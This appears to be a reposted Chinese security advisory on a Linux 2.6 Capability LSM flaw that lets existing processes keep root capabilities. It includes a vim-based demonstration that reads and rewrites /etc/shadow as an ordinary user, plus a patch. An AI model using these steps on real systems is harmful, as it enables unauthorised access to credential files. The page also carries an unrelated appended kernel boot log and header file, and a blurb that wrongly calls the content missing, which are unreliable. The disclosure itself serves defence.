Linux 2.6.* 内核Capability LSM模块进程特权信任状本地权限提升漏洞

Linux内核与Vim相关探讨
博客可能围绕Linux内核展开,同时涉及Vim工具。虽内容缺失,但从标签推测会有Linux内核相关知识及Vim使用等信息技术方面内容。
Linux内核Capability LSM模块进程特权信任状本地权限提升漏洞 (Linux,缺陷)
 
涉及程序:
Linux内核程序
 
描述:
Linux内核Capability LSM模块进程特权信任状本地权限提升漏洞
 
详细:
Linux Kernel是开放源代码操作系统Linux的内核。

Linux Kernel在处理Capability模块实现时存在问题,本地攻击者可以利用这个漏洞提升权限。

当特权操作由Capability LSM 模块控制时,系统基于进程信任状(creds)来仲裁特权操作。当Capability未被编译进内核时,内核使用默认的安全模块(security/dummy.c)仲裁特权操作,机制非常简单,仅仅检查进程euid、fsuid(进行文件系统相关特权操作时)是否为0。在这种情况下,dummy模块根本不关心进程的信任状,每个进程的信任状都拷贝其父进程的信任状。追根溯源,每个进程的信任状无论进程用户是否为超级用户,最终都拷贝Init进程的信任状,信任状中包含有超级用户进程的所有权能。在根据用户ID进行特权判断情况下,此错误未被激发。但在插入Capability模块后,特权机制转为根据进程信任状进行判断,而此前存在的任何进程的信任状都与Init进程一致,导致这些进程都具有超级用户root的特权。此错误的本质是装载Capability模块时没有对已有进程的信任状按Capability机制的要求进行重新计算。试验表明,此错误出现在2.6.* Linux内核中。

<*来源:liangbin (liangbin@venustech.com.cn

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110384535113035&w=2
*>

受影响系统:
Linux kernel 2.6.9
Linux kernel 2.6.8
Linux kernel 2.6.7
Linux kernel 2.6.6
Linux kernel 2.6.5
Linux kernel 2.6.4
Linux kernel 2.6.3
Linux kernel 2.6.2
Linux kernel 2.6.1
Linux kernel 2.6
 
攻击方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

当Capability模块未被编译进内核时,(如果已经编译进内核,须disable相应编译选项后重新编译内核)。在装载Capability模块前,以普通用户身份允许一个vim编辑器,在vim种输入命令:

:r /etc/shadow

vim 将回应 “can't open file /etc/shadow”,这个访问root文件操作的操作被拒绝。
不要终结vim,转到其它控制台以root身份登录,插入Capability模块:

#modprobe capability

在模块被转载后,回到vim中再次尝试打开shadow文件,将发现能够以普通用户读写并且保存(w!)shadow文件!根本的原因是vim进程的信任状中包含了权能CAP_DAC_OVERRIDE和CAP_DAC_READ_SEARCH,因而能够进行超越访问控制策略的特权操作。

使用以下命令可查看vim的信任状:

$cat /proc/2454/status         (2454 是vim进程的pid)

Name: vim
State: S (sleeping)
SleepAVG: 91%
Tgid: 2454
Pid: 2454
PPid: 1552
TracerPid: 0
Uid: 500 500 500 500
Gid: 500 500 500 500
FDSize: 256
Groups: 500
VmSize: 9356 kB
VmLck: 0 kB
VmRSS: 2728 kB
VmData: 856 kB
VmStk: 16 kB
VmExe: 1676 kB
VmLib: 3256 kB
Threads: 1
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 8000000000003000
SigCgt: 00000000ef824eff
CapInh: 0000000000000000
CapPrm: 00000000ffffffff
CapEff: 00000000fffffeff

最后3行即是vim的信任状,可以看到它具有除了CAP_SETPCAP外的所有Capability权能。
以上测试在 2.6.* 和2.5.72-lsm1中通过。

 
解决方案:
临时解决方法:

如果您不能立刻安装补丁或者升级,CNNS建议您采取以下措施以降低威胁:

* 第三方补丁如下:

在 security/capability.c中加入以下代码
static void recompute_capability_creds(struct task_struct *task)
{
     if(task->pid <= 1)
           return;


     task_lock(task);
     task->keep_capabilities = 0;
      
     if ((task->uid && task->euid && task->suid) && !task->keep_capabilities)
           cap_clear (task->cap_permitted);
     else
           task->cap_permitted = CAP_INIT_EFF_SET;



     if (task->euid != 0){
           cap_clear (task->cap_effective);
     }
     else{
           task->cap_effective = CAP_INIT_EFF_SET;
     }
      
     if(task->fsuid)
           task->cap_effective &= ~CAP_FS_MASK;
     else
           task->cap_effective |= CAP_FS_MASK;
      
     task_unlock(task);
      
     return;
}

并且在已有capability_init 函数在其返回前加入以下代码:
  
   struct task_struct *task;

     read_lock(&tasklist_lock);
     for_each_process(task){
           recompute_capability_creds(task);
     }
     read_unlock(&tasklist_lock);
      
     return 0;

厂商补丁:

Linux
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.kernel.org/
01-01 00:07:24.500 0 0 W : Lock dependency validator: Copyright (c) 2006 Red Hat, Inc., Ingo Molnar 01-01 00:07:24.509 0 0 W ... MAX_LOCKDEP_SUBCLASSES: 8 01-01 00:07:24.514 0 0 W ... MAX_LOCK_DEPTH: 48 01-01 00:07:24.519 0 0 W ... MAX_LOCKDEP_KEYS: 8192 01-01 00:07:24.524 0 0 W ... CLASSHASH_SIZE: 4096 01-01 00:07:24.529 0 0 W ... MAX_LOCKDEP_ENTRIES: 32768 01-01 00:07:24.535 0 0 W ... MAX_LOCKDEP_CHAINS: 65536 01-01 00:07:24.540 0 0 W ... CHAINHASH_SIZE: 32768 01-01 00:07:24.545 0 0 W : memory used by lock dependency info: 4277 kB 01-01 00:07:24.552 0 0 W : per task-struct memory footprint: 2688 bytes 01-01 00:07:24.558 0 0 I : Calibrating delay loop (skipped), value calculated using timer frequency.. 38.40 BogoMIPS (lpj=76800) 01-01 00:07:24.558 0 0 I pid_max : default: 32768 minimum: 301 01-01 00:07:24.558 0 0 I LSM : initializing lsm=capability,selinux,bpf,integrity 01-01 00:07:24.558 0 0 I SELinux : Initializing. 01-01 00:07:24.559 0 0 I : LSM support for eBPF active 01-01 00:07:24.559 0 0 I : Mount-cache hash table entries: 32768 (order: 6, 262144 bytes, linear) 01-01 00:07:24.559 0 0 I : Mountpoint-cache hash table entries: 32768 (order: 6, 262144 bytes, linear) 01-01 00:07:24.563 1 1 I RCU Tasks: Setting shift to 3 and lim to 1 rcu_task_cb_adjust=1. 01-01 00:07:24.563 1 1 I : RCU Tasks Rude: Setting shift to 3 and lim to 1 rcu_task_cb_adjust=1. 01-01 00:07:24.563 1 1 I : RCU Tasks Trace: Setting shift to 3 and lim to 1 rcu_task_cb_adjust=1. 01-01 00:07:24.564 1 1 I rcu : Hierarchical SRCU implementation. 01-01 00:07:24.564 1 1 I rcu : Max phase no-delay instances is 1000. 01-01 00:07:24.566 1 1 I Platform MSI: msi-controller@0x16040000 domain created 01-01 00:07:24.566 1 1 I PCI/MSI : /soc/interrupt-controller@16000000/msi-controller@0x16040000 domain created 01-01 00:07:24.569 1 1 I : EFI services will not be available. 01-01 00:07:24.570 1 1 I smp : Bringing up secondary CPUs ... 01-01 00:07:24.571 0 0 I : Detected PIPT I-cache on CPU1 01-01 00:07:24.571 0 0 I GICv3 : CPU1: found redistributor 100 region 0:0x00000000160c0000 01-01 00:07:24.571 0 0 I GICv3 : CPU1: using allocated LPI pending table @0x00000000e3760000 01-01 00:07:24.571 0 0 I CPU1 : Booted secondary processor 0x0000000100 [0x514f0014] 01-01 00:07:24.573 0 0 I : Detected PIPT I-cache on CPU2 01-01 00:07:24.573 0 0 I GICv3 : CPU2: found redistributor 200 region 0:0x0000000016100000 01-01 00:07:24.573 0 0 I GICv3 : CPU2: using allocated LPI pending table @0x00000000e3770000 01-01 00:07:24.573 0 0 I CPU2 : Booted secondary processor 0x0000000200 [0x514f0014] 01-01 00:07:24.575 0 0 I : Detected PIPT I-cache on CPU3 01-01 00:07:24.575 0 0 I GICv3 : CPU3: found redistributor 300 region 0:0x0000000016140000 01-01 00:07:24.575 0 0 I GICv3 : CPU3: using allocated LPI pending table @0x000000008a240000 01-01 00:07:24.575 0 0 I CPU3 : Booted secondary processor 0x0000000300 [0x514f0014] 01-01 00:07:24.577 0 0 I : Detected PIPT I-cache on CPU4 01-01 00:07:24.577 0 0 I GICv3 : CPU4: found redistributor 400 region 0:0x0000000016180000 01-01 00:07:24.577 0 0 I GICv3 : CPU4: using allocated LPI pending table @0x000000008a250000 01-01 00:07:24.577 0 0 I CPU4 : Booted secondary processor 0x0000000400 [0x514f0014] 01-01 00:07:24.578 0 0 I : Detected PIPT I-cache on CPU5 01-01 00:07:24.578 0 0 I GICv3 : CPU5: found redistributor 500 region 0:0x00000000161c0000 01-01 00:07:24.578 0 0 I GICv3 : CPU5: using allocated LPI pending table @0x000000008a260000 01-01 00:07:24.578 0 0 I CPU5 : Booted secondary processor 0x0000000500 [0x514f0014] 01-01 00:07:24.581 0 0 I : Detected PIPT I-cache on CPU6 01-01 00:07:24.581 0 0 I GICv3 : CPU6: found redistributor 10000 region 0:0x0000000016200000 01-01 00:07:24.582 0 0 I GICv3 : CPU6: using allocated LPI pending table @0x000000008a270000 01-01 00:07:24.582 0 0 I CPU6 : Booted secondary processor 0x0000010000 [0x513f0014] 01-01 00:07:24.583 0 0 I : Detected PIPT I-cache on CPU7 01-01 00:07:24.584 0 0 I GICv3 : CPU7: found redistributor 10100 region 0:0x0000000016240000 01-01 00:07:24.584 0 0 I GICv3 : CPU7: using allocated LPI pending table @0x000000008a640000 01-01 00:07:24.584 0 0 I CPU7 : Booted secondary processor 0x0000010100 [0x513f0014] 01-01 00:07:24.584 1 1 I smp : Brought up 1 node, 8 CPUs 01-01 00:07:24.584 1 1 I SMP : Total of 8 processors activated. 01-01 00:07:24.584 1 1 I CPU features: detected: Branch Target Identification 01-01 00:07:24.584 1 1 I CPU features: detected: ARMv8.4 Translation Table Level 01-01 00:07:24.584 1 1 I CPU features: detected: Instruction cache invalidation not required for I/D coherence 01-01 00:07:24.584 1 1 I CPU features: detected: Data cache clean to the PoU not required for I/D coherence 01-01 00:07:24.584 1 1 I CPU features: detected: Common not Private translations 01-01 00:07:24.584 1 1 I CPU features: detected: CRC32 instructions 01-01 00:07:24.584 1 1 I CPU features: detected: Data cache clean to Point of Deep Persistence 01-01 00:07:24.584 1 1 I CPU features: detected: Data cache clean to Point of Persistence 01-01 00:07:24.584 1 1 I CPU features: detected: Data independent timing control (DIT) 01-01 00:07:24.584 1 1 I CPU features: detected: E0PD 01-01 00:07:24.584 1 1 I CPU features: detected: Enhanced Counter Virtualization 01-01 00:07:24.584 1 1 I CPU features: detected: Enhanced Counter Virtualization (CNTPOFF) 01-01 00:07:24.584 1 1 I CPU features: detected: Enhanced Privileged Access Never 01-01 00:07:24.584 1 1 I CPU features: detected: Enhanced Virtualization Traps 01-01 00:07:24.584 1 1 I CPU features: detected: Fine Grained Traps 01-01 00:07:24.584 1 1 I CPU features: detected: Generic authentication (architected QARMA5 algorithm) 01-01 00:07:24.584 1 1 I CPU features: detected: RCpc load-acquire (LDAPR) 01-01 00:07:24.584 1 1 I CPU features: detected: LSE atomic instructions 01-01 00:07:24.584 1 1 I CPU features: detected: Privileged Access Never 01-01 00:07:24.584 1 1 I CPU features: detected: RAS Extension Support 01-01 00:07:24.584 1 1 I CPU features: detected: Random Number Generator 01-01 00:07:24.584 1 1 I CPU features: detected: Speculation barrier (SB) 01-01 00:07:24.584 1 1 I CPU features: detected: Stage-2 Force Write-Back 01-01 00:07:24.584 1 1 I CPU features: detected: TLB range maintenance instructions 01-01 00:07:24.584 1 1 I CPU features: detected: Speculative Store Bypassing Safe (SSBS) 01-01 00:07:24.584 23 23 I CPU features: detected CPU0: Activity Monitors Unit (AMU) 01-01 00:07:24.584 28 28 I CPU features: detected CPU1: Activity Monitors Unit (AMU) 01-01 00:07:24.584 35 35 I CPU features: detected CPU2: Activity Monitors Unit (AMU) 01-01 00:07:24.584 49 49 I CPU features: detected CPU4: Activity Monitors Unit (AMU) 01-01 00:07:24.584 57 57 I CPU features: detected CPU5: Activity Monitors Unit (AMU) 01-01 00:07:24.584 42 42 I CPU features: detected CPU3: Activity Monitors Unit (AMU) 01-01 00:07:24.584 71 71 I CPU features: detected CPU7: Activity Monitors Unit (AMU) 01-01 00:07:24.584 64 64 I CPU features: detected CPU6: Activity Monitors Unit (AMU) 01-01 00:07:24.584 1 1 I : CPU: All CPU(s) started at EL1
09-12
/* * Linux Security Module interfaces * * Copyright (C) 2001 WireX Communications, Inc <chris@wirex.com> * Copyright (C) 2001 Greg Kroah-Hartman <greg@kroah.com> * Copyright (C) 2001 Networks Associates Technology, Inc <ssmalley@nai.com> * Copyright (C) 2001 James Morris <jmorris@intercode.com.au> * Copyright (C) 2001 Silicon Graphics, Inc. (Trust Technology Group) * Copyright (C) 2015 Intel Corporation. * Copyright (C) 2015 Casey Schaufler <casey@schaufler-ca.com> * Copyright (C) 2016 Mellanox Techonologies * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * Due to this file being licensed under the GPL there is controversy over * whether this permits you to write a module that #includes this file * without placing your module under the GPL. Please consult a lawyer for * advice before doing this. * */ #ifndef __LINUX_LSM_HOOKS_H #define __LINUX_LSM_HOOKS_H #include <uapi/linux/lsm.h> #include <linux/security.h> #include <linux/init.h> #include <linux/rculist.h> #include <linux/xattr.h> #include <linux/static_call.h> #include <linux/unroll.h> #include <linux/jump_label.h> #include <linux/lsm_count.h> union security_list_options { #define LSM_HOOK(RET, DEFAULT, NAME, ...) RET (*NAME)(__VA_ARGS__); #include "lsm_hook_defs.h" #undef LSM_HOOK void *lsm_func_addr; }; /* * @key: static call key as defined by STATIC_CALL_KEY * @trampoline: static call trampoline as defined by STATIC_CALL_TRAMP * @hl: The security_hook_list as initialized by the owning LSM. * @active: Enabled when the static call has an LSM hook associated. */ struct lsm_static_call { struct static_call_key *key; void *trampoline; struct security_hook_list *hl; /* this needs to be true or false based on what the key defaults to */ struct static_key_false *active; } __randomize_layout; /* * Table of the static calls for each LSM hook. * Once the LSMs are initialized, their callbacks will be copied to these * tables such that the calls are filled backwards (from last to first). * This way, we can jump directly to the first used static call, and execute * all of them after. This essentially makes the entry point * dynamic to adapt the number of static calls to the number of callbacks. */ struct lsm_static_calls_table { #define LSM_HOOK(RET, DEFAULT, NAME, ...) \ struct lsm_static_call NAME[MAX_LSM_COUNT]; #include <linux/lsm_hook_defs.h> #undef LSM_HOOK } __packed __randomize_layout; /** * struct lsm_id - Identify a Linux Security Module. * @lsm: name of the LSM, must be approved by the LSM maintainers * @id: LSM ID number from uapi/linux/lsm.h * * Contains the information that identifies the LSM. */ struct lsm_id { const char *name; u64 id; }; /* * Security module hook list structure. * For use with generic list macros for common operations. * * struct security_hook_list - Contents of a cacheable, mappable object. * @scalls: The beginning of the array of static calls assigned to this hook. * @hook: The callback for the hook. * @lsm: The name of the lsm that owns this hook. */ struct security_hook_list { struct lsm_static_call *scalls; union security_list_options hook; const struct lsm_id *lsmid; } __randomize_layout; /* * Security blob size or offset data. */ struct lsm_blob_sizes { int lbs_cred; int lbs_file; int lbs_ib; int lbs_inode; int lbs_sock; int lbs_superblock; int lbs_ipc; int lbs_key; int lbs_msg_msg; int lbs_perf_event; int lbs_task; int lbs_xattr_count; /* number of xattr slots in new_xattrs array */ int lbs_tun_dev; int lbs_bdev; }; /* * LSM_RET_VOID is used as the default value in LSM_HOOK definitions for void * LSM hooks (in include/linux/lsm_hook_defs.h). */ #define LSM_RET_VOID ((void) 0) /* * Initializing a security_hook_list structure takes * up a lot of space in a source file. This macro takes * care of the common case and reduces the amount of * text involved. */ #define LSM_HOOK_INIT(NAME, HOOK) \ { \ .scalls = static_calls_table.NAME, \ .hook = { .NAME = HOOK } \ } extern void security_add_hooks(struct security_hook_list *hooks, int count, const struct lsm_id *lsmid); #define LSM_FLAG_LEGACY_MAJOR BIT(0) #define LSM_FLAG_EXCLUSIVE BIT(1) enum lsm_order { LSM_ORDER_FIRST = -1, /* This is only for capabilities. */ LSM_ORDER_MUTABLE = 0, LSM_ORDER_LAST = 1, /* This is only for integrity. */ }; struct lsm_info { const char *name; /* Required. */ enum lsm_order order; /* Optional: default is LSM_ORDER_MUTABLE */ unsigned long flags; /* Optional: flags describing LSM */ int *enabled; /* Optional: controlled by CONFIG_LSM */ int (*init)(void); /* Required. */ struct lsm_blob_sizes *blobs; /* Optional: for blob sharing. */ }; #define DEFINE_LSM(lsm) \ static struct lsm_info __lsm_##lsm \ __used __section(".lsm_info.init") \ __aligned(sizeof(unsigned long)) #define DEFINE_EARLY_LSM(lsm) \ static struct lsm_info __early_lsm_##lsm \ __used __section(".early_lsm_info.init") \ __aligned(sizeof(unsigned long)) /* DO NOT tamper with these variables outside of the LSM framework */ extern char *lsm_names; extern struct lsm_static_calls_table static_calls_table __ro_after_init; extern struct lsm_info __start_lsm_info[], __end_lsm_info[]; extern struct lsm_info __start_early_lsm_info[], __end_early_lsm_info[]; /** * lsm_get_xattr_slot - Return the next available slot and increment the index * @xattrs: array storing LSM-provided xattrs * @xattr_count: number of already stored xattrs (updated) * * Retrieve the first available slot in the @xattrs array to fill with an xattr, * and increment @xattr_count. * * Return: The slot to fill in @xattrs if non-NULL, NULL otherwise. */ static inline struct xattr *lsm_get_xattr_slot(struct xattr *xattrs, int *xattr_count) { if (unlikely(!xattrs)) return NULL; return &xattrs[(*xattr_count)++]; } #endif /* ! __LINUX_LSM_HOOKS_H */
最新发布
11-28
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值